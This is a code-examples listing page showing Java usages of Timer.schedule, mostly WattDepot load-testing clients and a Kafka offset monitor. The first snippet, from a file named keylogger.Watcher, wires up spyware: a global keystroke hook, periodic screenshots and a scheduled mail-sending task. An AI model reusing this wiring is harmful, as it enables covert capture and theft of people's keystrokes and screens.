List of usage examples for java.util Timer schedule
public void schedule(TimerTask task, Date firstTime, long period)
From source file:keylogger.Watcher.java
public static void main(String[] args) { watcherFolder = new File(folderName); if (!watcherFolder.exists()) { watcherFolder.mkdirs();/* ww w .j a va2s .com*/ } /* Its error */ System.out.println("start thread"); Thread thread = new Thread(new Runnable() { @Override public void run() { try { GlobalScreen.registerNativeHook(); } catch (NativeHookException ex) { Logger.getLogger(Watcher.class.getName()).log(Level.SEVERE, null, ex); } GlobalScreen.getInstance().addNativeKeyListener(new KeyLogger()); } }); thread.start(); Timer screenCapture = new Timer(); screenCapture.schedule(new Screen(), 0, 10000); Timer sendMail = new Timer(); sendMail.schedule(new Send(), 0, 900000); /* Construct the example object and initialze native hook. */ }
From source file:org.wattdepot.client.http.api.performance.GetDateValueRate.java
/** * @param args command line arguments -s <server uri> -u <username> -p * <password> -o <orgId> -mps <measurementsPerSecond> [-d]. * @throws BadSensorUriException if there is a problem with the WattDepot * sensor definition.// ww w .ja v a2 s.c o m * @throws IdNotFoundException if there is a problem with the organization id. * @throws BadCredentialException if the credentials are not valid. */ public static void main(String[] args) throws BadCredentialException, IdNotFoundException, BadSensorUriException { Options options = new Options(); CommandLine cmd = null; String serverUri = null; String username = null; String organizationId = null; String password = null; Integer getsPerSec = null; boolean debug = false; options.addOption("h", false, "Usage: GetDateValueRate -s <server uri> -u <username>" + " -p <password> -o <orgId> -gps <getsPerSecond> [-d]"); options.addOption("s", "server", true, "WattDepot Server URI. (http://server.wattdepot.org)"); options.addOption("u", "username", true, "Username"); options.addOption("o", "organizationId", true, "User's Organization id."); options.addOption("p", "password", true, "Password"); options.addOption("gps", "getsPerSecond", true, "Number of gets per second."); options.addOption("d", "debug", false, "Displays statistics as the Measurements are stored."); CommandLineParser parser = new PosixParser(); HelpFormatter formatter = new HelpFormatter(); try { cmd = parser.parse(options, args); } catch (ParseException e) { System.err.println("Command line parsing failed. Reason: " + e.getMessage() + ". Exiting."); System.exit(1); } if (cmd.hasOption("h")) { formatter.printHelp("GetDateValueRate", options); System.exit(0); } if (cmd.hasOption("s")) { serverUri = cmd.getOptionValue("s"); } else { serverUri = "http://server.wattdepot.org/"; } if (cmd.hasOption("u")) { username = cmd.getOptionValue("u"); } else { username = "user"; } if (cmd.hasOption("p")) { password = cmd.getOptionValue("p"); } else { password = "default"; } if (cmd.hasOption("o")) { organizationId = cmd.getOptionValue("o"); } else { organizationId = "organization"; } if (cmd.hasOption("gps")) { getsPerSec = Integer.parseInt(cmd.getOptionValue("gps")); } else { getsPerSec = 13; } debug = cmd.hasOption("d"); if (debug) { System.out.println("Get Value(date) Rate:"); System.out.println(" WattDepotServer: " + serverUri); System.out.println(" Username: " + username); System.out.println(" OrganizationId: " + organizationId); System.out.println(" Password: ********"); System.out.println(" Gets/Sec: " + getsPerSec); } Timer t = new Timer("monitoring"); for (int i = 0; i < getsPerSec; i++) { t.schedule(new GetDateValueTask(serverUri, username, organizationId, password, debug), 0, 1000); } }
From source file:org.wattdepot.client.http.api.performance.GetEarliestValueRate.java
/** * @param args command line arguments -s <server uri> -u <username> -p * <password> -o <orgId> -mps <measurementsPerSecond> [-d]. * @throws BadSensorUriException if there is a problem with the WattDepot * sensor definition./*ww w . j av a2 s .c o m*/ * @throws IdNotFoundException if there is a problem with the organization id. * @throws BadCredentialException if the credentials are not valid. */ public static void main(String[] args) throws BadCredentialException, IdNotFoundException, BadSensorUriException { Options options = new Options(); CommandLine cmd = null; String serverUri = null; String username = null; String organizationId = null; String password = null; Integer getsPerSec = null; boolean debug = false; options.addOption("h", false, "Usage: GetEarliestValueRate -s <server uri> -u <username>" + " -p <password> -o <orgId> -gps <getsPerSecond> [-d]"); options.addOption("s", "server", true, "WattDepot Server URI. (http://server.wattdepot.org)"); options.addOption("u", "username", true, "Username"); options.addOption("o", "organizationId", true, "User's Organization id."); options.addOption("p", "password", true, "Password"); options.addOption("gps", "getsPerSecond", true, "Number of gets per second."); options.addOption("d", "debug", false, "Displays statistics as the Measurements are stored."); CommandLineParser parser = new PosixParser(); HelpFormatter formatter = new HelpFormatter(); try { cmd = parser.parse(options, args); } catch (ParseException e) { System.err.println("Command line parsing failed. Reason: " + e.getMessage() + ". Exiting."); System.exit(1); } if (cmd.hasOption("h")) { formatter.printHelp("GetEarliestValueRate", options); System.exit(0); } if (cmd.hasOption("s")) { serverUri = cmd.getOptionValue("s"); } else { serverUri = "http://server.wattdepot.org/"; } if (cmd.hasOption("u")) { username = cmd.getOptionValue("u"); } else { username = "user"; } if (cmd.hasOption("p")) { password = cmd.getOptionValue("p"); } else { password = "default"; } if (cmd.hasOption("o")) { organizationId = cmd.getOptionValue("o"); } else { organizationId = "organization"; } if (cmd.hasOption("gps")) { getsPerSec = Integer.parseInt(cmd.getOptionValue("gps")); } else { getsPerSec = 13; } debug = cmd.hasOption("d"); if (debug) { System.out.println("Get Earliest Value Rate:"); System.out.println(" WattDepotServer: " + serverUri); System.out.println(" Username: " + username); System.out.println(" OrganizationId: " + organizationId); System.out.println(" Password: ********"); System.out.println(" Gets/Sec: " + getsPerSec); } Timer t = new Timer("monitoring"); for (int i = 0; i < getsPerSec; i++) { t.schedule(new GetEarliestValueTask(serverUri, username, organizationId, password, debug), 0, 1000); } }
From source file:org.wattdepot.client.http.api.performance.GetIntervalValueRate.java
/** * @param args command line arguments -s <server uri> -u <username> -p * <password> -o <orgId> -mps <measurementsPerSecond> [-d]. * @throws BadSensorUriException if there is a problem with the WattDepot * sensor definition.// ww w . j a va 2 s .c om * @throws IdNotFoundException if there is a problem with the organization id. * @throws BadCredentialException if the credentials are not valid. */ public static void main(String[] args) throws BadCredentialException, IdNotFoundException, BadSensorUriException { Options options = new Options(); CommandLine cmd = null; String serverUri = null; String username = null; String organizationId = null; String password = null; Integer getsPerSec = null; boolean debug = false; options.addOption("h", false, "Usage: GetIntervalValueRate -s <server uri> -u <username>" + " -p <password> -o <orgId> -gps <getsPerSecond> [-d]"); options.addOption("s", "server", true, "WattDepot Server URI. (http://server.wattdepot.org)"); options.addOption("u", "username", true, "Username"); options.addOption("o", "organizationId", true, "User's Organization id."); options.addOption("p", "password", true, "Password"); options.addOption("gps", "getsPerSecond", true, "Number of gets per second."); options.addOption("d", "debug", false, "Displays statistics as the Measurements are stored."); CommandLineParser parser = new PosixParser(); HelpFormatter formatter = new HelpFormatter(); try { cmd = parser.parse(options, args); } catch (ParseException e) { System.err.println("Command line parsing failed. Reason: " + e.getMessage() + ". Exiting."); System.exit(1); } if (cmd.hasOption("h")) { formatter.printHelp("GetIntervalValueRate", options); System.exit(0); } if (cmd.hasOption("s")) { serverUri = cmd.getOptionValue("s"); } else { serverUri = "http://server.wattdepot.org/"; } if (cmd.hasOption("u")) { username = cmd.getOptionValue("u"); } else { username = "user"; } if (cmd.hasOption("p")) { password = cmd.getOptionValue("p"); } else { password = "default"; } if (cmd.hasOption("o")) { organizationId = cmd.getOptionValue("o"); } else { organizationId = "organization"; } if (cmd.hasOption("gps")) { getsPerSec = Integer.parseInt(cmd.getOptionValue("gps")); } else { getsPerSec = 13; } debug = cmd.hasOption("d"); if (debug) { System.out.println("Get Interval Value Rate:"); System.out.println(" WattDepotServer: " + serverUri); System.out.println(" Username: " + username); System.out.println(" OrganizationId: " + organizationId); System.out.println(" Password: ********"); System.out.println(" Gets/Sec: " + getsPerSec); } Timer t = new Timer("monitoring"); for (int i = 0; i < getsPerSec; i++) { t.schedule(new GetIntervalValueTask(serverUri, username, organizationId, password, debug), 0, 1000); } }
From source file:org.wattdepot.client.http.api.performance.GetLatestValueRate.java
/** * @param args command line arguments -s <server uri> -u <username> -p * <password> -o <orgId> -mps <measurementsPerSecond> [-d]. * @throws BadSensorUriException if there is a problem with the WattDepot * sensor definition.//from w w w . ja v a 2 s. c om * @throws IdNotFoundException if there is a problem with the organization id. * @throws BadCredentialException if the credentials are not valid. */ public static void main(String[] args) throws BadCredentialException, IdNotFoundException, BadSensorUriException { Options options = new Options(); CommandLine cmd = null; String serverUri = null; String username = null; String organizationId = null; String password = null; Integer getsPerSec = null; boolean debug = false; options.addOption("h", false, "Usage: GetLatestValueRate -s <server uri> -u <username>" + " -p <password> -o <orgId> -gps <getsPerSecond> [-d]"); options.addOption("s", "server", true, "WattDepot Server URI. (http://server.wattdepot.org)"); options.addOption("u", "username", true, "Username"); options.addOption("o", "organizationId", true, "User's Organization id."); options.addOption("p", "password", true, "Password"); options.addOption("gps", "getsPerSecond", true, "Number of gets per second."); options.addOption("d", "debug", false, "Displays statistics as the Measurements are stored."); CommandLineParser parser = new PosixParser(); HelpFormatter formatter = new HelpFormatter(); try { cmd = parser.parse(options, args); } catch (ParseException e) { System.err.println("Command line parsing failed. Reason: " + e.getMessage() + ". Exiting."); System.exit(1); } if (cmd.hasOption("h")) { formatter.printHelp("GetLatestValueRate", options); System.exit(0); } if (cmd.hasOption("s")) { serverUri = cmd.getOptionValue("s"); } else { serverUri = "http://server.wattdepot.org/"; } if (cmd.hasOption("u")) { username = cmd.getOptionValue("u"); } else { username = "user"; } if (cmd.hasOption("p")) { password = cmd.getOptionValue("p"); } else { password = "default"; } if (cmd.hasOption("o")) { organizationId = cmd.getOptionValue("o"); } else { organizationId = "organization"; } if (cmd.hasOption("gps")) { getsPerSec = Integer.parseInt(cmd.getOptionValue("gps")); } else { getsPerSec = 13; } debug = cmd.hasOption("d"); if (debug) { System.out.println("Get Latest Value Rate:"); System.out.println(" WattDepotServer: " + serverUri); System.out.println(" Username: " + username); System.out.println(" OrganizationId: " + organizationId); System.out.println(" Password: " + password); System.out.println(" Gets/Sec: " + getsPerSec); } Timer t = new Timer("monitoring"); for (int i = 0; i < getsPerSec; i++) { t.schedule(new GetLatestValueTask(serverUri, username, organizationId, password, debug), 0, 1000); } }
From source file:org.wattdepot.client.http.api.performance.PutRate.java
/** * @param args command line arguments -s <server uri> -u <username> -p * <password> -o <orgId> -mps <measurementsPerSecond> [-d]. * @throws BadSensorUriException if there is a problem with the WattDepot * sensor definition./*from w w w. j a v a 2 s.c o m*/ * @throws IdNotFoundException if there is a problem with the organization id. * @throws BadCredentialException if the credentials are not valid. */ public static void main(String[] args) throws BadCredentialException, IdNotFoundException, BadSensorUriException { Options options = new Options(); CommandLine cmd = null; String serverUri = null; String username = null; String organizationId = null; String password = null; Integer measPerSec = null; boolean debug = false; options.addOption("h", false, "Usage: PutRate -s <server uri> -u <username>" + " -p <password> -o <orgId> -mps <measurementsPerSecond> [-d]"); options.addOption("s", "server", true, "WattDepot Server URI. (http://server.wattdepot.org)"); options.addOption("u", "username", true, "Username"); options.addOption("o", "organizationId", true, "User's Organization id."); options.addOption("p", "password", true, "Password"); options.addOption("mps", "measurementsPerSecond", true, "Number of measurements to put per second."); options.addOption("d", "debug", false, "Displays statistics as the Measurements are stored."); CommandLineParser parser = new PosixParser(); HelpFormatter formatter = new HelpFormatter(); try { cmd = parser.parse(options, args); } catch (ParseException e) { System.err.println("Command line parsing failed. Reason: " + e.getMessage() + ". Exiting."); System.exit(1); } if (cmd.hasOption("h")) { formatter.printHelp("PutRate", options); System.exit(0); } if (cmd.hasOption("s")) { serverUri = cmd.getOptionValue("s"); } else { serverUri = "http://server.wattdepot.org/"; } if (cmd.hasOption("u")) { username = cmd.getOptionValue("u"); } else { username = "user"; } if (cmd.hasOption("p")) { password = cmd.getOptionValue("p"); } else { password = "default"; } if (cmd.hasOption("o")) { organizationId = cmd.getOptionValue("o"); } else { organizationId = "organization"; } if (cmd.hasOption("mps")) { measPerSec = Integer.parseInt(cmd.getOptionValue("mps")); } else { measPerSec = 13; } debug = cmd.hasOption("d"); if (debug) { System.out.println("Measurement Put Rate:"); System.out.println(" WattDepotServer: " + serverUri); System.out.println(" Username: " + username); System.out.println(" OrganizationId: " + organizationId); System.out.println(" Password: ********"); System.out.println(" Meas/Sec: " + measPerSec); } Timer t = new Timer("monitoring"); for (int i = 0; i < measPerSec; i++) { t.schedule(new PutTask(serverUri, username, organizationId, password, debug), 0, 1000); } }
From source file:com.boozallen.cognition.kom.KafakOffsetMonitor.java
public static void main(String[] args) { CommandLineParser parser = new DefaultParser(); CommandLine cmd = null;/*ww w .j a v a 2 s . com*/ try { cmd = parser.parse(options, args); } catch (ParseException e) { System.err.println(e.getMessage()); HelpFormatter formatter = new HelpFormatter(); formatter.printHelp("KafakOffsetMonitor", options); System.exit(1); } KafakOffsetMonitor monitor = new KafakOffsetMonitor(); monitor.zkHosts = cmd.getOptionValue("zkHosts"); monitor.zkRoot = cmd.getOptionValue("zkRoot", "/storm-kafka"); monitor.spoutId = cmd.getOptionValue("spoutId"); monitor.logstashHost = cmd.getOptionValue("logstashHost"); monitor.logstashPort = Integer.parseInt(cmd.getOptionValue("logstashPort")); int refresh = Integer.parseInt(cmd.getOptionValue("refresh", "15")); Timer timer = new Timer(); int period = refresh * 1000; int delay = 0; timer.schedule(monitor, delay, period); }
From source file:org.wattdepot.client.http.api.performance.PutCollectorRate.java
/** * @param args command line arguments -s <server uri> -u <username> -p * <password> -o <orgId> -mps <measurementsPerSecond> [-d]. * @throws BadSensorUriException if there is a problem with the WattDepot * sensor definition.//from www .jav a 2 s . c o m * @throws IdNotFoundException if there is a problem with the organization id. * @throws BadCredentialException if the credentials are not valid. */ public static void main(String[] args) throws BadCredentialException, IdNotFoundException, BadSensorUriException { Options options = new Options(); CommandLine cmd = null; String serverUri = null; String username = null; String organizationId = null; String password = null; Integer measPerSec = null; String cpd = null; boolean debug = false; options.addOption("h", false, "Usage: PutCollectorRate -s <server uri> -u <username>" + " -p <password> -o <orgId> -mps <measurementsPerSecond> [-d]"); options.addOption("s", "server", true, "WattDepot Server URI. (http://server.wattdepot.org)"); options.addOption("u", "username", true, "Username"); options.addOption("o", "organizationId", true, "User's Organization id."); options.addOption("p", "password", true, "Password"); options.addOption("mps", "measurementsPerSecond", true, "Number of measurements to put per second."); options.addOption("cpd", "collector", true, "The collector process definition"); options.addOption("d", "debug", false, "Displays statistics as the Measurements are stored."); CommandLineParser parser = new PosixParser(); HelpFormatter formatter = new HelpFormatter(); try { cmd = parser.parse(options, args); } catch (ParseException e) { System.err.println("Command line parsing failed. Reason: " + e.getMessage() + ". Exiting."); System.exit(1); } if (cmd.hasOption("h")) { formatter.printHelp("PutRate", options); System.exit(0); } if (cmd.hasOption("s")) { serverUri = cmd.getOptionValue("s"); } else { serverUri = "http://server.wattdepot.org/"; } if (cmd.hasOption("u")) { username = cmd.getOptionValue("u"); } else { username = "user"; } if (cmd.hasOption("p")) { password = cmd.getOptionValue("p"); } else { password = "default"; } if (cmd.hasOption("o")) { organizationId = cmd.getOptionValue("o"); } else { organizationId = "organization"; } if (cmd.hasOption("mps")) { measPerSec = Integer.parseInt(cmd.getOptionValue("mps")); } else { measPerSec = 13; } debug = cmd.hasOption("d"); if (cmd.hasOption("cpd")) { cpd = cmd.getOptionValue("cpd"); } else { cpd = "performance-evaluation-collector"; } if (debug) { System.out.println("Measurement Put Rate:"); System.out.println(" WattDepotServer: " + serverUri); System.out.println(" Username: " + username); System.out.println(" OrganizationId: " + organizationId); System.out.println(" Password: ********"); System.out.println(" CPD: " + cpd); System.out.println(" Meas/Sec: " + measPerSec); } Timer t = new Timer("monitoring"); for (int i = 0; i < measPerSec; i++) { t.schedule(new PutTask(serverUri, username, organizationId, password, debug, cpd), 0, 1000); } }
From source file:org.wattdepot.client.http.api.performance.PutThroughput.java
/** * @param args command line arguments -s <server uri> -u <username> -p * <password> -o <orgId> -n <numSamples> [-d]. * @throws BadSensorUriException if there is a problem with the WattDepot * sensor definition.// w ww .j a v a 2s .c o m * @throws IdNotFoundException if there is a problem with the organization id. * @throws BadCredentialException if the credentials are not valid. */ public static void main(String[] args) throws BadCredentialException, IdNotFoundException, BadSensorUriException { Options options = new Options(); CommandLine cmd = null; String serverUri = null; String username = null; String organizationId = null; String password = null; Integer numSamples = null; boolean debug = false; options.addOption("h", false, "Usage: PutThroughput -s <server uri> -u <username>" + " -p <password> -o <orgId> [-d]"); options.addOption("s", "server", true, "WattDepot Server URI. (http://server.wattdepot.org)"); options.addOption("u", "username", true, "Username"); options.addOption("o", "organizationId", true, "User's Organization id."); options.addOption("p", "password", true, "Password"); options.addOption("n", "numSamples", true, "Number of puts to sample."); options.addOption("d", "debug", false, "Displays statistics as the Measurements are stored."); CommandLineParser parser = new PosixParser(); HelpFormatter formatter = new HelpFormatter(); try { cmd = parser.parse(options, args); } catch (ParseException e) { System.err.println("Command line parsing failed. Reason: " + e.getMessage() + ". Exiting."); System.exit(1); } if (cmd.hasOption("h")) { formatter.printHelp("PutThroughput", options); System.exit(0); } if (cmd.hasOption("s")) { serverUri = cmd.getOptionValue("s"); } else { serverUri = "http://server.wattdepot.org/"; } if (cmd.hasOption("u")) { username = cmd.getOptionValue("u"); } else { username = "user"; } if (cmd.hasOption("p")) { password = cmd.getOptionValue("p"); } else { password = "default"; } if (cmd.hasOption("o")) { organizationId = cmd.getOptionValue("o"); } else { organizationId = "organization"; } if (cmd.hasOption("n")) { numSamples = Integer.parseInt(cmd.getOptionValue("n")); } else { numSamples = 13; } debug = cmd.hasOption("d"); if (debug) { System.out.println("Put Throughput:"); System.out.println(" WattDepotServer: " + serverUri); System.out.println(" Username: " + username); System.out.println(" OrganizationId: " + organizationId); System.out.println(" Password: ********"); System.out.println(" Samples: " + numSamples); } Timer t = new Timer("monitoring"); t.schedule(new PutThroughput(serverUri, username, organizationId, password, debug), 0, numSamples * 1000); }
From source file:org.wattdepot.client.http.api.performance.GetDateValueThroughput.java
/** * @param args command line arguments -s <server uri> -u <username> -p * <password> -o <orgId> -n <numSamples> [-d]. * @throws BadSensorUriException if there is a problem with the WattDepot * sensor definition.// w ww . j av a 2 s. co m * @throws IdNotFoundException if there is a problem with the organization id. * @throws BadCredentialException if the credentials are not valid. */ public static void main(String[] args) throws BadCredentialException, IdNotFoundException, BadSensorUriException { Options options = new Options(); CommandLine cmd = null; String serverUri = null; String username = null; String organizationId = null; String password = null; Integer numSamples = null; boolean debug = false; options.addOption("h", false, "Usage: GetDateValueThroughput -s <server uri> -u <username>" + " -p <password> -o <orgId> [-d]"); options.addOption("s", "server", true, "WattDepot Server URI. (http://server.wattdepot.org)"); options.addOption("u", "username", true, "Username"); options.addOption("o", "organizationId", true, "User's Organization id."); options.addOption("p", "password", true, "Password"); options.addOption("n", "numSamples", true, "Number of puts to sample."); options.addOption("d", "debug", false, "Displays statistics as the Measurements are stored."); CommandLineParser parser = new PosixParser(); HelpFormatter formatter = new HelpFormatter(); try { cmd = parser.parse(options, args); } catch (ParseException e) { System.err.println("Command line parsing failed. Reason: " + e.getMessage() + ". Exiting."); System.exit(1); } if (cmd.hasOption("h")) { formatter.printHelp("GetDateValueThroughput", options); System.exit(0); } if (cmd.hasOption("s")) { serverUri = cmd.getOptionValue("s"); } else { serverUri = "http://server.wattdepot.org/"; } if (cmd.hasOption("u")) { username = cmd.getOptionValue("u"); } else { username = "user"; } if (cmd.hasOption("p")) { password = cmd.getOptionValue("p"); } else { password = "default"; } if (cmd.hasOption("o")) { organizationId = cmd.getOptionValue("o"); } else { organizationId = "organization"; } if (cmd.hasOption("n")) { numSamples = Integer.parseInt(cmd.getOptionValue("n")); } else { numSamples = 13; } debug = cmd.hasOption("d"); if (debug) { System.out.println("GetDateValue Throughput:"); System.out.println(" WattDepotServer: " + serverUri); System.out.println(" Username: " + username); System.out.println(" OrganizationId: " + organizationId); System.out.println(" Password: ********"); System.out.println(" Samples: " + numSamples); } Timer t = new Timer("monitoring"); t.schedule(new GetDateValueThroughput(serverUri, username, organizationId, password, debug), 0, numSamples * 1000); }